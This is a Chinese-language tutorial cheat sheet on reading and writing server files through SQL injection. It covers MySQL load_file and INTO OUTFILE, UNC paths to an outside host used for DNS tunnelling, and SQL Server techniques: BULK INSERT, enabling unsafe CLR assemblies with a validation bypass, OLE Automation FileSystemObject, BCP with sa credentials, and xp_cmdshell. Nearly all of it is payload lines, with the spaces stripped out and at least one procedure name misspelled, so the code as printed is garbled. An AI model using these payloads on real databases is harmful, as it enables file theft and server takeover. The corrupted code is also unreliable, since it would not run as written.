关于SQL注入中文件读写的方法总结
前言
SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容,具体的一起来看看。
一、MySQL
读文件
常见的读文件,可以用16进制代替字符串
selectload_file('c:/boot.ini') selectload_file(0x633a2f626f6f742e696e69) selectload_file('//ecma.io/1.txt')#smb协议 selectload_file('\\\\ecma.io\\1.txt')#可用于DNS隧道
写文件
我暂时已知l两种写文件的方式
select0x313233intooutfile'D:/1.txt'
select0x313233intodumpfile'D:/1.txt'
二、SQLServer
读文件
1.BULKINSERT
createtableresult(resvarchar(8000)); bulkinsertresultfrom'd:/1.txt';
2.CLR集成
//开启CLR集成 execsp_configure'showadvancedoptions',1; reconfigure; execsp_configure'clrenabled',1 reconfigure
createassemblysqbfrom'd:\1.exe'withpermission_set=unsafe
上面一句可以利用createassembly函数从远程服务器加载任何.NET二进制文件到数据库中;但是他会验证是否为合法.NET程序,导致失败,下面是读取方式
selectmaster.dbo.fn_varbintohexstr(cast(contentasvarbinary))fromsys.assembly_files
绕过,首先加载一个有效的.NET的二进制文件,然后追加文件即可,下面是绕过方法。
createassemblysqbfrom'd:\net.exe'; alterassemblysqbaddfilefrom'd:\1.txt' alterassemblysqbaddfilefrom'd:\notnet.exe'
3.Script.FileSystemObject
#开启OleAutomationProcedures sp_configure'showadvancedoptions',1; RECONFIGURE; sp_configure'OleAutomationProcedures',1; RECONFIGURE;
declare@oint,@fint,@tint,@retint declare@linevarchar(8000) execsp_oacreate'scripting.filesystemobject',@oout execsp_oamethod@o,'opentextfile',@fout,'d:\1.txt',1 exec@ret=sp_onmethod@f,'readline',@lineout while(@ret=0)beginprint@lineexec@ret=sp_oamethod@f,'readline',@lineoutend
写文件
1.Script.FileSystemObject
declare@oint,@fint,@tint,@retint declare@linevarchar(8000) execsp_oacreate'scripting.filesystemobject',@oout execsp_oamethod@o,'createtextfile',@fout,'e:\1.txt',1 exec@ret=sp_oamethod@f,'writeline',NULL,'Thisistheteststring'
2.BCP复制文件(测试失败,无bcp.exe)
c:\windows>system32>bcp"selectnamefromsysobjects"querytestout.txt-c-s127.0.0.1-Usa-p"sa"
3.xp_cmdshell
execxp_cmdshell'echotest>d:\1.txt'
三、Oracle
pass,Oracle太坑了~~~几乎都受到PL/SQL的限制,暂时不讨论
总结
以上就是关于SQL注入中文件的读写方法总结,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流。